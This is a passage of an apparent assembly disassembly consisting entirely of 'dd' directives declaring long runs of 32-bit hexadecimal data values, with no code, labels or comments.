		dd 0B0DC05B0h, 5B2180D9h, 801C4BB5h, 0F5C976E5h, 8EC47C1Ah
		dd 5863282Ah, 0E8A97504h, 1D54D22Ch, 85B6DFAFh,	0FEE16CC5h
		dd 1236F6FAh, 67AA1D6Eh, 1FEEA2C4h, 0D55F7DCCh,	95BA6400h
		dd 9872F52Dh, 0DA07492Ah, 0A8A4DE3Bh, 0E3EAA5D4h, 0F4B3F055h
		dd 0F944B7BDh, 1750E820h, 0D5874Ah, 0BAB5B73Eh,	0DCA18986h
		dd 0F2137BAAh, 5E7B91BBh, 0E8AC6A53h, 2CEBBEC0h, 811E67F3h
		dd 544BC8CEh, 39B37E47h, 397128FDh, 0F260EACFh,	0CB9A8BD7h
		dd 89ADA771h, 6216F5A8h, 0C57E510Ch, 13D59E3Ch,	0F916FDA3h
		dd 75F610FBh, 5176BB03h, 481D1EF3h, 70828103h, 7CFD2784h
		dd 6F2D0022h, 1F56302h,	0DE9C516h, 0CE1F21A9h, 28658C35h
		dd 385886A6h, 79E91218h, 112045AEh, 0C7495050h,	4B87E94Eh
		dd 0EE929BBCh, 0E909938Eh, 0E110E148h, 999D29EEh, 6220530Fh
		dd 6A9C41FEh, 0F08F354Bh, 0C857FC51h, 0B8005234h, 75346196h
		dd 0F8D05AF7h, 0C20E9A47h, 25835EB8h, 5869C95Dh, 5024A22Fh
		dd 0D2BD6386h, 9405AC4h, 447359BFh, 665FD08h, 2239A2E9h
		dd 6E5C01Eh, 62F73C0Ah,	448CFB09h, 0C1845BF8h, 0BBB4CCh
		dd 95A52D40h, 59870357h, 0B12C0FDBh, 809C052h, 1FD985D7h
		dd 0C987CD6h, 48A34BFCh, 39127C8Ch, 94015604h, 25CC1328h
		dd 2C8D0C8Fh, 995E462Bh, 99FA4835h, 18C02EBCh, 190B4163h
		dd 0B67BB17h, 81167B31h, 2E5604FBh, 0E1F7FFC7h,	6930EA4Eh
		dd 0E1173368h, 0B45CEC3Bh, 2080553h, 63F584D7h,	82C1EB57h
		dd 43630B82h, 1F9A5F78h, 0AF36972Fh, 71D91C60h,	2026458Eh
		dd 2B171EDBh, 18EA7FD7h, 58E4129Ch, 0F4DCEEF5h,	25535A58h
		dd 11F07C3Bh, 4C0F0E03h, 236D1E9h, 515DB970h, 0F8F50B11h
		dd 5D75A34h, 1D1017Ah, 25688897h, 60F06F2Ah, 55934098h
		dd 49C7BD1Fh, 4D452787h, 5AD51CD3h, 2C7AECE8h, 0DF22EDF9h
		dd 0F02257Eh, 4E685F4Dh, 124F9013h, 6482D05h, 0C292B076h
		dd 6734480Dh, 2AFEF17Bh, 20790D54h, 10DA9F7Bh, 4A693E00h
		dd 26E2811Bh, 3F700B4Ch, 13C212E9h, 0ED8344C0h,	9020A4B2h
		dd 6697F47Dh, 0E0562062h, 0FD7B4A00h, 86CF812Dh, 0BAB94B29h
		dd 0EEB85017h, 8EC01E04h, 8590EAFDh, 0A473C668h, 5D0B2EEh
		dd 121EC1BDh, 4425BA03h, 44608CE1h, 28DB4914h, 3F32CD93h
		dd 5CCB2362h, 2AC771B3h, 8BFE51C5h, 23041CDDh, 0E9D10F93h
		dd 305CDECh, 1C7FAE9Ah,	0FA05C095h, 22CA503Fh, 7125CC31h
		dd 0D6082C8h, 0DBCB6510h, 36E9FE5Ah, 0F2FC3D78h, 0B5E99A86h
		dd 0DF7739C3h, 6804A735h, 2CFD12BBh, 2116E9C9h,	0B21FF45h
		dd 582C5F08h, 78945BA2h, 9020BA20h, 0CD45327Bh,	60FD4676h
		dd 404216A3h, 54185962h, 0D10C285Ah, 72212055h,	845C430Bh
		dd 0BF747885h, 325D6DAh, 0AE38550Ch, 9DA41C6Fh,	12D33225h
		dd 0EBE0D79Bh, 51053B1Fh, 79F0053Dh, 41355580h,	1F407311h
		dd 5E26700Dh, 0AFA58059h, 0F5E9C428h, 2DF8C249h, 73097DEAh
		dd 67E8D002h, 0B2D8F72h, 0B7954AFh, 7AA9A7BCh, 35FE38Bh
		dd 0FF0BAC04h, 9C2C08Eh, 0BE40F111h, 0B608A00Ah, 38D72D51h
		dd 4F22E90Ch, 0C5143092h, 533B5B5Fh, 1DED0136h,	892B0F94h
		dd 6518EE70h, 0ABC3957Bh
		dd 0CA2AFDE5h, 12BE5AEAh, 0CF13EF11h, 0C09CA904h, 0B60FF791h
		dd 0C968F1C3h, 21B2E9FBh, 15D29E2Eh, 291DF3Ah, 50A24BF3h
		dd 4A03E00Ah, 29C93808h, 80E4DEA8h, 2D685B08h, 0BA182D2Ch
		dd 55307CC3h, 4E392876h, 942B5E79h, 5B080BE0h, 2C5EAEC1h
		dd 8F9C4B87h, 0ABAA4A03h, 0D6ED9BD9h, 4B68B774h, 0D214A8ECh
		dd 0DE502CCAh, 0F32E169Fh, 75AF801Dh, 489D0CECh, 0F712E5F6h
		dd 0D86B9EF9h, 7C4E8A39h, 44DCDCCCh, 3CC1D1BCh,	0FD789796h
		dd 97BE84F4h, 0FE071D4h, 2468C8BFh, 0C29B288Eh,	0E8F2B806h
		dd 9854A120h, 0B4B77BC4h, 0CFF8C9BCh, 20AA37EAh, 85285540h
		dd 66965C95h, 298EFE8h,	0B10B4065h, 0CFFBAC94h,	0C16A27F3h
		dd 8E635C44h, 0A0FC5689h, 0EFD10349h, 12E4A60h,	886E0F89h
		dd 0D1C5F014h, 8A5A5B5h, 8926A5AFh, 0DD9C4FA8h,	7E9B7A18h
		dd 91478B24h, 0C1496A1Ch, 339F003Ah, 4F78558h, 0DAE9D129h
		dd 0C53C91DEh, 8808712Bh, 2F876EAEh, 117F97A6h,	0C78C82B7h
		dd 0B6520030h, 0C60780A5h, 0BB353D8h, 0C8E1CB63h, 0B6282AEBh
		dd 56180804h, 85018B0Bh, 59F5D159h, 0F6BB58EEh,	58B9A4Ah
		dd 0C10698B9h, 0C546EF58h, 56D740Fh, 1869BFBAh,	59C5BA71h
		dd 30608009h, 0F20A90C9h, 6CE92F62h, 6527FE74h,	0DA68845Ah
		dd 0D9129C74h, 0B07F5981h, 2260A924h, 0A555C23Fh, 29191724h
		dd 0EE5106D3h, 850A1BFEh, 0B0795B6Ah, 0F3379202h, 9D6AFF61h
		dd 50680801h, 0B936504Bh, 3A097B82h, 0E071E936h, 7E2C350Dh
		dd 477512h, 15394B88h, 0EAE9D8F7h, 7BE4FB4Fh, 48C3E6E5h
		dd 7925D151h, 38125CE4h, 0E80A7F1Eh, 0B540948Fh, 17284306h
		dd 616D9268h, 0C9C5469Ch, 72E07ED5h, 0CD5754D0h, 0CB949D0Ah
		dd 0B07B584Ch, 125FBB53h, 872A652h, 290B4839h, 5A5182C6h
		dd 416FD69Ch, 6A515659h, 0DDB19C61h, 27778872h,	457CD8E4h
		dd 745DEEE2h, 80FB9204h, 2F3E35C1h, 74194B24h, 24D0A008h
		dd 25BC02A0h, 4CE2415Ch, 0E36F6055h, 926A5826h,	0B4382213h
		dd 0C15B5D80h, 1D661B88h, 1D7715B9h, 8BB8753h, 5783A98Bh
		dd 0F7990F3Ah, 9CCC2E2Bh, 0EE545A52h, 74F0A334h, 38F99509h
		dd 6DD1C5CFh, 3B30C8AAh, 47CFED5Ah, 0D470307Fh,	8F8AF71Fh
		dd 56F0CA2Fh, 0D417A73h, 62207E63h, 2CA26855h, 0BA7100Ch
		dd 11911E46h, 17ED7835h, 0F908E1F7h, 1D801EF2h,	0F6C7479Eh
		dd 7A877ED7h, 285BD130h, 18CB2FF3h, 13F6F65Bh, 4053B55Fh
		dd 99CC47F1h, 16973F71h, 9982982Dh, 5579EF29h, 3FE9C361h
		dd 0BDAD40A3h, 3A1D0799h, 41A26ABBh, 0E2C0E113h, 5C33D4EFh
		dd 62F65B84h, 0B1CAFD96h, 0F82BBE56h, 0F0011AB2h, 5E314994h
		dd 4E3D528Fh, 16773CAEh, 1205FD7Eh, 68EA5117h, 570655F0h
		dd 9B632F68h, 2A0B3338h, 73D8F2A3h, 72B509ADh, 9DC20096h
		dd 0E9117114h, 5E9CDFC6h, 6FF193BBh, 4E862BABh,	12A184BAh
		dd 10D1FEC9h, 0AD8B2BFBh, 0E1595DC2h, 0D513780h, 1F6815Ah
		dd 4F1B389Ah, 47B4A2E9h, 0A7556C5h, 1660E795h, 244BD09h
		dd 574EC7F6h, 4258516Dh, 3C60D6F7h, 715065E2h, 740EEAC0h
		dd 0DE0F0C56h, 0EE012FC4h, 0FE97DE81h, 16F75181h, 0F9191C6Bh
		dd 253729FBh, 0DB9889D0h, 0B89831C4h, 30CDC52Ah, 0F5417134h
		dd 2D17ED69h, 0F7A4A45Eh, 62B96A1Dh, 4722CD81h,	0C9D3ED9h
		dd 2A78134h, 80BD19E9h,	56F6EA2Fh, 0D2591189h, 4D84EF0Eh
		dd 401BBB02h, 0E5958253h, 0C30709B3h, 0D58B854Ch, 998BAB9Dh
		dd 31F48002h, 0A9F72AE9h, 0BE4A0065h, 0F81C1135h, 0FEE22545h
		dd 6D25D5Eh, 98DD8EB9h,	80F9EC8Ch, 14EEA80h, 301679AFh
		dd 0DDC0BB65h, 0C8A486C5h, 0FCAA9AACh, 2F339E1Fh, 57FAA05Ch
		dd 0B61326FBh, 0C2762805h, 11D009A8h, 88D6A0C9h, 6BE9DE82h
		dd 4E623D9h, 1F3BE607h,	0C8E23E58h, 820456DFh, 2A9B132Dh
		dd 0AE03D08Bh, 0EDB038EEh, 0FF253779h, 0AF4EF53Ah, 77DDFC52h
		dd 4BE4670Bh, 8B92801h,	5A607627h, 4A708F8Fh, 727797FFh
		dd 335CA6CEh, 25ED8D08h, 33F171E8h, 553BBA97h, 42C4390Fh
		dd 0DE62BD7Dh, 36574ED6h, 765588FAh, 0CDFDA09Fh, 7B6372C2h
		dd 0DF623053h, 96CC317h, 0BF42AB4Bh, 0F56E6F68h, 11A46134h
		dd 5B928A48h, 64A94988h, 0F5C75349h, 0A90CA7F6h, 91790702h
		dd 0D55F4102h, 87DE8749h, 4AA5F624h, 0E1805324h, 9E7A0C68h
		dd 719B6344h, 3F3178F9h, 49CF2DB0h, 0EA4A7DBCh,	32E9A138h
		dd 0F68EF301h, 0E5C9AAE1h, 7E987C77h, 40B24030h, 0BD59CB31h
		dd 7D0A2A76h, 9542213Bh, 0B2B5009Ch, 444EE580h,	632261C7h
		dd 25BDC166h, 5BCC0B3Ah, 23D37D62h, 0A7086402h,	82444132h
		dd 0A4DBA804h, 0A755BCC1h, 45B40505h, 0E459F8AFh, 0E913F68Ah
		dd 0CD5A90F4h, 6E4C5782h, 2DED03ECh, 4269717h, 77F41A0Ch
		dd 806C56Ch, 0BA012205h, 4986479Ch, 5C7BAEEDh, 5B1E187Ah
		dd 19BCE5FAh, 0DD5BDA0Bh, 81D6406Ch, 4B4AE3ACh,	0E260ABCCh
		dd 0B80704ACh, 351A6866h, 5F92724Bh, 0B2991D14h, 0BA78BF60h
		dd 39C95895h, 4A7404D5h, 1261B635h, 5504D4B4h, 0E012C988h
		dd 0EDF218B0h, 1E3EB841h, 815417CDh, 6BD2F781h,	2504DBE0h
		dd 11FA0848h, 0FA25DE20h, 3D4E2CA6h, 76E30142h,	0D8290A21h
		dd 8E022EBh, 0E9A40E3h,	1E1F2F57h, 0C594DD01h, 6C4A6608h
		dd 14789DC9h, 7948E133h, 0D5053DDDh, 0F3CAE0BDh, 518F9FBBh
		dd 0D4EFDF5Ah, 225ED91Ah, 4668C268h, 2524E712h,	10AA95Eh
		dd 0E9419FD6h, 322E6A34h, 0A977C81Ah, 1396676Ch, 0A86A0856h
		dd 5CB5D328h, 0F72909B1h, 41E03C1h, 0E1AD0383h,	0E8386228h
		dd 9708EE28h, 18EA208h,	22752ABBh, 61E08238h, 0C2357B2Ch
		dd 4BB8F88Fh, 0EA35EE21h, 7C497FF3h, 0A8AFB713h, 495C80C1h
		dd 1DAEE181h, 8176B335h, 0D2FC8CE9h, 0C2F02AD9h, 0C189B7BEh
		dd 0EBE459DFh, 0DA19B2F7h, 65A598DDh, 0EAAF066Fh, 7B0E0BC7h
		dd 0C41EAC10h, 0F230A868h, 6FB41634h, 45724BFh,	5DABC18Eh
		dd 6BD6965Ch, 104C0615h, 0B34F3138h, 24D8247Eh,	0C084B317h
		dd 0EEDFC1FAh, 85623304h, 9952D1D3h, 0ACE8E4FBh, 56653F4Bh
		dd 4905C1BFh, 0EA8992BEh, 0EDA3B1AAh, 0C9DFD750h, 0C2FB291Ch
		dd 0BCEE575h, 0D3035455h, 3B00EF02h, 0BC6AACF5h, 0BFE82918h
		dd 79EAA874h, 0BCA85712h, 0FC78BEC4h, 0C1F99D07h, 9FD5E22Fh
		dd 1CA9268Ch, 588C0205h, 2D5D73D8h, 0E926E877h,	0D54A4FA7h
		dd 8A02AA07h, 7F8EAC28h, 0AE748409h, 0BC016D2Ch, 497A9C0Fh
		dd 0E15ABC78h, 0AECA03E5h, 299282BFh, 71041540h, 7F9793A4h
		dd 7B65788Fh, 8329BAD2h, 3BCDE96Ah, 0C41E195Fh,	3E794F0Ch
		dd 306F2307h, 0F564EE9Eh, 7BA8BFFEh, 0BA5853B2h, 29B28AF7h
		dd 0E10FFD9h, 793C5658h, 97206F74h, 15C6AB16h, 215CB5EEh
		dd 25BFEF2Ah, 0EA52D8C0h, 10E2C920h, 254C7DD6h,	91551520h
		dd 0FC3F0500h, 8CE5895Eh, 13BB13C4h, 9292733h, 64F51AB0h
		dd 3069A355h, 7C72B99Fh, 0F4BD0177h, 5257C9B7h,	0F91F34D2h
		dd 43DE8FCh, 31FD03ACh,	0AD7BF19Dh, 0B868C2BEh,	4B8A6836h
		dd 5F508059h, 9AA2584Bh, 522FB800h, 0F8292D39h,	0D8083691h
		dd 3D5E269Dh, 0EA8B5248h, 42842CFDh, 419241C3h,	5B66D64h
		dd 1DA5A0AAh, 7FEA2813h, 40B71100h, 0ED0122AEh,	8020361h
		dd 25417258h, 0EC770868h, 300927D1h, 7E7AB3DDh,	952C3007h
		dd 663DC393h, 9722933Dh, 0CAEBEFF5h, 0C0574F5Ah, 0FFD875FFh
		dd 0D14AE1CEh, 14364730h
		dd 4B3628BBh, 85300C41h, 531A5888h, 5023C49h, 0AB1DC576h
		dd 0B880705Fh, 0B44B9802h, 67958980h, 0F6EB9D51h, 0CB108468h
		dd 3FD9FBFEh, 76611C43h, 42F13EFDh, 0C2902ABDh,	0EC5726DCh
		dd 0FD708927h, 5DF4F829h, 2545D504h, 0CE84F787h, 58B6F6FBh
		dd 358880A7h, 2814243h,	6C6698CEh, 935F4622h, 0BF62B62Dh
		dd 2D06B47Ah, 0E5D3249h, 70551FAh, 7C7077D6h, 9FC739Dh
		dd 0F5108E49h, 77820E97h, 0FDCA4563h, 0C2F6515Dh, 1CD53F35h
		dd 0A2874A68h, 68558142h, 0CF6D0350h, 1BEDEAA4h, 49CD48D3h
		dd 4B5E660Bh, 81114B15h, 536E813h, 43FA6117h, 6EF068C2h
		dd 0BC2BA713h, 114874A7h, 49FD088Bh, 0A93B2ABAh, 624317C6h
		dd 6EA925BCh, 7CE50222h, 856801B8h, 602BB209h, 7C402873h
		dd 1E2C07B8h, 0AD356F1Dh, 27132A0Bh, 0A422C8Bh,	13D38450h
		dd 0B29CD05h, 815703EDh, 3C0B0641h, 0D0B0F941h,	0E7A2277Eh
		dd 0F364A252h, 4D476675h, 0AB5F9987h, 0F7077603h, 0BAFCBDD9h
		dd 8638200Fh, 261B6566h, 7F61BF00h, 0E781216Dh,	0EC6B12FAh
		dd 3DBAA33Eh, 896C135Fh, 13BB6B12h, 0F388FE0Ah,	0F44E2DE9h
		dd 0E52753FAh, 6B4BF6D3h, 1AFC82DDh, 8271590Bh,	0E1B592Fh
		dd 1E04D97Ch, 0A9C0447Bh, 667792h, 5EF20946h, 237ABD55h
		dd 0C7348228h, 0A5FE5202h, 57EA2127h, 595E06DAh, 0CAAFE6C4h
		dd 0F9065067h, 0AA155582h, 0E1106CA6h, 5E746809h, 0E09765C4h
		dd 3B5BDC7Ah, 0E2AE5966h, 95C20288h, 0D07044E9h, 1304285Eh
		dd 5F0AEC5Eh, 0DCBA08CDh, 72276227h, 27A4B0E5h,	4FE6F70Fh
		dd 7C683CC4h, 1672A7C8h, 0A143F50Ah, 0A0803AEBh, 5FA0322Ch
		dd 2454E026h, 871A2B01h, 0FB61E9CEh, 60A6BB9Fh,	0E9BFCBF4h
		dd 81F8014Ah, 8D759DEEh, 423B0CB3h, 0A332E94Eh,	0B38060F9h
		dd 4A769A1Dh, 7EF20581h, 0BE640434h, 245661B4h,	35B6365h
		dd 360F4737h, 79AB0C2Ch, 0F6E94302h, 0CBABD548h, 45F5F400h
		dd 446B07D7h, 9FC0D540h, 1F5B54E9h, 435129E4h, 0C7267E3Ch
		dd 2840AE96h, 94557441h, 3DD42D33h, 0D4665C62h,	36E6886Fh
		dd 61BF5F17h, 2A87D145h, 813B63F4h, 48E96F66h, 0D0AAB315h
		dd 5B77EF02h, 0E404717h, 0B704ACA4h, 5F3B318Fh,	4ABD8BAFh
		dd 0AD8B67ADh, 6F5A74C1h, 7A28DA8h, 5413B5FEh, 2B11304h
		dd 58E38800h, 0FD95DBF6h, 856A902h, 0EECFF78Eh,	5477E905h
		dd 351718A5h, 0FA3FD59Ah, 7459A0D2h, 606B1DB7h,	34E28012h
		dd 12BB43BAh, 4FFAD408h, 5C138E5Ch, 4660E771h, 0FC135562h
		dd 74684543h, 20888D40h, 172CB630h, 800C3CC0h, 5A023AF6h
		dd 1070B6DDh, 844B03A6h, 0A8B4EA9Dh, 37202DE0h,	234011D8h
		dd 1E5D4E5Bh, 8B758BB4h, 55275CE4h, 0C4AD545Eh,	6FF1BAC6h
		dd 2CE93B20h, 61406F84h, 6B4A6A68h, 58A5579Ch, 0BDED6BDh
		dd 0C757B319h, 8C882390h, 145FD5B2h, 9E7FA880h,	0AE9C148h
		dd 0AB82ECEh, 0E54605A7h, 7AC360C2h, 3DD71F52h,	0BD5E7BB3h
		dd 0AEA641C5h, 81D2AE4Ah, 57F655BBh, 99128F21h,	7EE263FEh
		dd 585FBCD8h, 0E919D5F2h, 0C175DFAAh, 81063AEBh, 3B63DB8Eh
		dd 258CA36h, 9503F52Dh,	5B1E122h, 69810744h, 0EB625810h
		dd 0A923E9C1h, 0CCFA79FEh, 9C48F4EEh, 0C88F295Bh, 17D25FEh
		dd 7566E988h, 94094B2Ah, 0D68BB176h, 617DC5Ah, 0BE7F4576h
		dd 0E1C4151Dh, 343A7070h, 0B5535FFCh, 0E908009Ch, 0D19FBBCCh
		dd 6449CA8Fh, 1313AEC6h, 279C6BBDh, 0EA09A1C2h,	695F59D7h
		dd 8454DC04h, 3BA6BA02h, 0AED8F784h, 2B026562h,	3956685Fh
		dd 5212AAB4h, 4D96FD4h,	0BB35A0E5h, 0FAC6DD31h,	5C6A2204h
		dd 0BC6AF175h, 8E51A825h, 5162F121h, 31756050h,	25D09319h
		dd 68894AD9h, 54F1404Dh, 0DB9B2AE9h, 0DF22A2A5h, 0DE950DCCh
		dd 0B850074Ch, 449EE32Bh, 666B4BDAh, 59778E60h,	0B8718741h
		dd 52450155h, 642E3233h, 0EB87C76Ch, 5065ED0Eh,	4E0D3149h
		dd 0C64CF954h, 0DD010AA8h, 0FE7BE909h, 0A1238288h, 9E820614h
		dd 8561FDE0h, 270A427Fh, 89A28510h, 448D081Dh, 228413A3h
		dd 942A403h, 77A51111h,	848FDF44h, 13F544h, 278A6715h
		dd 76D936DCh, 0EB04B001h, 39D67A84h, 0A551C8h, 2E0D3144h
		dd 7DCC2DD9h, 1CFDA303h, 0E8CE708Dh, 7F9F47DEh,	0C640742h
		dd 0EE22CDh, 93D04F6Bh,	137C7D30h, 1EE263DAh, 2BF8Fh, 6FA82EFh
		dd 7100F249h, 902E3B01h, 798F2Ch, 0CE88035h, 8BDDBA81h
		dd 0B274D700h, 8DEFCFC8h, 14D80030h, 0A2D304BBh, 441DEE37h
		dd 0B840D925h, 1D7F5FCCh, 0F4630EA0h, 9801852Dh, 3016DA0Bh
		dd 651FD6D7h, 1BC0C828h, 1C676FE3h, 39F0A7h, 8197091h
		dd 0E62B5E43h, 88F0DD0Eh, 3A1C8333h, 0C3BA88EAh, 3C9D0E44h
		dd 7FA2A0C6h, 52E225F3h, 0BA4EEB00h, 8201ED0Ah,	0AD3CDD81h
		dd 0E3ECAB55h, 9C7D171Fh, 0AF55000Dh, 7E85B294h, 0D837D01Eh
		dd 0E847A041h, 35F47515h, 0A54201ECh, 28A93F7Ch, 869C4023h
		dd 6D0171E8h, 0D9EEA94h, 9AF14FB1h, 1CE6F3E0h, 8E5FDE0Ch
		dd 40DEAE73h, 93E1819Ch, 0A50079E8h, 1EE78203h,	1C2AD74h
		dd 955EA4AEh, 898ECFD9h, 801612B9h, 39DD2623h, 0B17100D8h
		dd 7B87EA07h, 0D10038D9h, 304BA452h, 1EDA290Eh,	417CD32Ch
		dd 718CE3FCh, 48D9F4D1h, 0D8419E03h, 8CC0D63h, 154C6AB9h
		dd 0C0F60F43h, 0FB2C20h, 87C93B8Fh, 41A6D0F7h, 43629192h
		dd 47AA0D2Dh, 0C0FE3B12h, 0FFA77E11h, 31028DE2h, 0C81A6ECFh
		dd 8219404Fh, 288A7597h, 2A932E6Bh, 559E63h, 0BB98F8A3h
		dd 0C0117B45h, 0E535AE0Ah, 6C858509h, 990021BFh, 8C5CB3ADh
		dd 50CF0073h, 0C56DB4D3h, 2C003B78h, 235E2AD6h,	0C0E540B1h
		dd 269F9E8Eh, 0E902F556h, 0DED23687h, 29B80017h, 432431D7h
		dd 22810626h, 0CC54C378h, 0E230970h, 0E8F80CCDh, 0C0D3AA07h
		dd 3440EE35h, 80BC393Fh, 2F8CF0CEh, 89BAD9h, 0A9940AF4h
		dd 56F80514h, 0AD7AE504h, 66C012EDh, 6DE665h, 0D2E03D8Ch
		dd 0FA0EAF4Fh, 0DD98FB07h, 6BF0550Ah, 758C1Dh, 290F1ACDh
		dd 86C264B7h, 588B810h,	6C1CE800h, 3FE33C93h, 0B74FA200h
		dd 819DEC0Dh, 0AF0201DFh, 364DAA58h, 32533014h,	0FD7AD53Ch
		dd 778AE507h, 4E243AD7h, 5DD21880h, 20CA240Bh, 46640406h
		dd 286A3C13h, 9A58192h,	89E0E322h, 5C760C0Eh, 67F24451h
		dd 1E0182A0h, 2E9D8345h, 800B6E8h, 6777D435h, 0E50B805h
		dd 0AFA563Ch, 79169E40h, 3016ED8h, 5C079210h, 0FFC789EAh
		dd 9171CC33h, 1834C65Dh, 0FF7A3DF7h, 0D7F1F77h,	0DE51C165h
		dd 0E85E030Ah, 54052C9Ch, 7E7DDCD3h, 6E4F2B0h, 0EE79B67Ah
		dd 900A415h, 0D1522F5Dh, 13C62AB4h, 40AF1375h, 0E7542769h
		dd 0BF00C389h, 1ED4457Dh, 0E4E26105h, 4581308h,	227500AFh
		dd 6D83389Ch, 158052FCh, 50FC000Ah, 8FCC4924h, 4B1DC0ACh
		dd 44441173h, 0A8BCB3C7h, 36219A00h, 32545AEFh,	0E148EE2Ch
		dd 0BEFB7800h, 0A852D3h, 9521E04Fh, 0DC99E789h,	0B9B66100h
		dd 7C44A114h, 80262CF0h, 24E080F2h, 0EB349B74h,	0CAA4739h
		dd 3DF415BFh, 60A7000Ah, 1C2E55B2h, 3A1EE83Fh, 846672DDh
		dd 1A407F92h, 0CA53AC56h, 0C2331255h, 1C080021h, 4F6F1B7Eh
		dd 3050ED00h, 618637ECh, 1DE0004Eh, 0F7720F7Dh,	0AF13C17Eh
		dd 741DAA99h, 13B3853Fh, 3800865h, 1E39DF21h, 40B52E4Bh
		dd 0D9620419h, 887A86BFh, 41289207h, 39212BC4h,	0A3FCEB99h
		dd 4C29F6FBh
		dd 0EC0684C0h, 0ED0A5660h, 3E9A6E26h, 0BD61A200h, 4835CD5Ch
		dd 0FF001A8Bh, 0D62DBC5Dh, 0B401CF28h, 0B05EA592h, 80E4F857h
		dd 0F5081F67h, 0CC007955h, 0DF5CC522h, 26614889h, 91C8E6ECh
		dd 16806933h, 0B019670Fh, 902CD4ECh, 96003180h,	840D8FEAh
		dd 0B23100DEh, 6CA9C2C6h, 399AD504h, 8B087300h,	714970DAh
		dd 314C0E6h, 0EAEB7DBAh, 441080E5h, 4A457CF9h, 10A890E2h
		dd 24FD5227h, 9853A3C2h, 12B561A6h, 4034A830h, 0C32562A8h
		dd 0C0EFA712h, 3B03906Fh, 8237E730h, 80FCD9h, 0EB17AAFh
		dd 0FAC10AEh, 2B590100h, 0B83FCE4Eh, 92D90F86h,	5EB2A184h
		dd 588498D2h, 0CC2499E4h, 0D04C5674h, 981D0086h, 556E91C7h
		dd 0D8F0F7h, 0DC19A206h, 1DE6B44Dh, 800B793Fh, 0E2EE72F3h
		dd 0A2C129h, 107B0974h,	0BFD16ACEh, 0E506C58h, 5FF746B8h
		dd 6F18EF80h, 0DE5DD8h,	15EC7BF8h, 0A1BC3D53h, 1A26B773h
		dd 0E4005723h, 99A2751Dh, 12DD2431h, 2FC8884h, 0F8A8803Bh
		dd 0CB6FB01Fh, 43C3002Eh, 0D117899h, 232E8E6Bh,	0A2009FE4h
		dd 0BE6CBBA0h, 0FBCE7921h, 4030830h, 0DA2B8663h, 0A88FC630h
		dd 0E273E24h, 67FA9804h, 24138488h, 8611FCFDh, 0DA756BAh
		dd 613A0100h, 0F41C991Ah, 98FCB2ACh, 2D6A3919h,	0C1D42F83h
		dd 64F84C57h, 0AC007D12h, 0EE678EC8h, 79DC7E83h, 0B1510003h
		dd 31B7EC0Ch, 0DD002F7Fh, 0A42557CCh, 2462B55Dh, 38C36EFh
		dd 7EF8C682h, 26E2FD07h, 0EDE09976h, 41A849h, 97FA17C1h
		dd 0A108E98Bh, 5BB46200h, 0EA391E20h, 4CA33C3Ch, 1DC46DCh
		dd 51AE58A9h, 0FDBE56C8h, 0E57C1A10h, 0D9103886h, 30001E74h
		dd 483FE8Ah, 1259A8B7h,	8078798Fh, 0E867D624h, 1FA20F1Fh
		dd 9E206C5h, 0F84339D1h, 4CD4C8h, 189DD8A4h, 6C2EF554h
		dd 0B9659566h, 24170045h, 189BDBA9h, 0F700B0F8h, 23BD5FA3h
		dd 0CE20C35h, 13C63759h, 4E90602Ch, 93AC92Eh, 0F7BD62Fh
		dd 92E06E1Ah, 3982ECF5h, 12DED718h, 0C5B82Eh, 0CBCF56B7h
		dd 0FCA27D3Bh, 76F57000h, 4BF06F0Ah, 804500DCh,	0D89FA7E7h
		dd 62785D0h, 0E0BA428Dh, 3D8FA564h, 381E21F4h, 0C9580EACh
		dd 9869C0E1h, 4EC020EEh, 0B912B707h, 32B04988h,	0ED9B16h
		dd 61631390h, 3AE64CC3h, 0A643EB00h, 0D3C5C99h,	9AB50112h
		dd 1CDD474Dh, 0BAAE8010h, 0DE2742C3h, 4A870C34h, 111BB726h
		dd 0FAA92A3Fh, 6300BD76h, 7D819023h, 28DBAFC6h,	0E9B447h
		dd 4ACBA6D2h, 34233119h, 0CD46EA07h, 0F6C063A2h, 25A880Ch
		dd 6D8A0917h, 10600502h, 397FABB5h, 976C9C00h, 3AC752EBh
		dd 7DEC0098h, 0F38EFAA4h, 1E3AFF74h, 0BAC600B3h, 8F2CCE53h
		dd 0BF3E2E52h, 22198229h, 8C8B94Bh, 0C61DE18Bh,	9EC0A58Dh
		dd 2E5A061Ch, 67D42C53h, 371718C2h, 4900CAB1h, 1EC859B0h
		dd 30EC2952h, 0F31F5584h, 85020B88h, 695DF916h,	9C005D2Ch
		dd 0B6C26EB4h, 983CBB2Ch, 4E11F200h, 787AFB66h,	0E47315C9h
		dd 0F600F11Ah, 0F50C8A9Bh, 0AE003F4Dh, 0A9C4B054h, 2652AF2Ah
		dd 12E26FFh, 90DC8A99h,	0FDE77001h, 91D25305h, 0D1D09BB9h
		dd 79C2BFh, 722DE617h, 78FD40B8h, 6E18E900h, 3FE73E91h
		dd 4DA0131h, 51F51BA0h,	15C6602Dh, 8A952600h, 0C6A3D17Dh
		dd 40AC4B4Dh, 0C472B189h, 3800BDB8h, 43B795FBh,	0B82FC87Ch
		dd 0DD2A8C6h, 5B030A02h, 0E5F230h, 9A44DD2Ch, 320186EEh
		dd 1EF6C6B9h, 0E3C681E9h, 0B8519169h, 98EF44F0h, 0F9F60F3h
		dd 48C74239h, 0C140AF07h, 26A0A419h, 57D838h, 0FB8102B4h
		dd 4FEC9092h, 0FF40C028h, 26FE9101h, 0B877057Eh, 3D1BC8h
		dd 5B29D552h, 3BCAA51Eh, 0CE2A9300h, 5AA75DACh,	0B1CC00B8h
		dd 0F0D652Fh, 0E800FE48h, 169589E6h, 58ED7C9Dh,	943B0C14h
		dd 9A177D18h, 0E32C60DBh, 0A25B199h, 7C006C3Ch,	0CC6EB3DAh
		dd 40C500A0h, 6DF99829h, 9B04E997h, 3D4BF332h, 8A00A2D5h
		dd 0E76612BAh, 6720920h, 85028087h, 49E0DB27h, 0D2D444C2h
		dd 702D89FFh, 545CB5FCh, 0AA2A5579h, 3C3A8F2Bh,	0DD2BBF5Bh
		dd 8F685601h, 6A651D01h, 1F1154E0h, 795F0861h, 9B559579h
		dd 0FD5404DBh, 4708BA52h, 2AA1DA01h, 993A5D5Ah,	0CD122A54h
		dd 3E729EAFh, 39D7AEE9h, 2EEC9100h, 5CA832B8h, 0C53D5514h
		dd 11C8E081h, 0C3910EE6h, 96DA65E0h, 750070EEh,	0E14E36F2h
		dd 1F389D99h, 40DB407Ch, 6857E8C5h, 49003A52h, 82B95630h
		dd 3B106B69h, 2380508Ah, 5E9A1427h, 7600521Bh, 1F5C84B1h
		dd 36CA6C4h, 63397A4Ch,	0B33C0AE8h, 0DD1280C9h,	537C27C1h
		dd 0F5090906h, 2D75259h, 0A4632DE6h, 6C80C0C6h,	33687799h
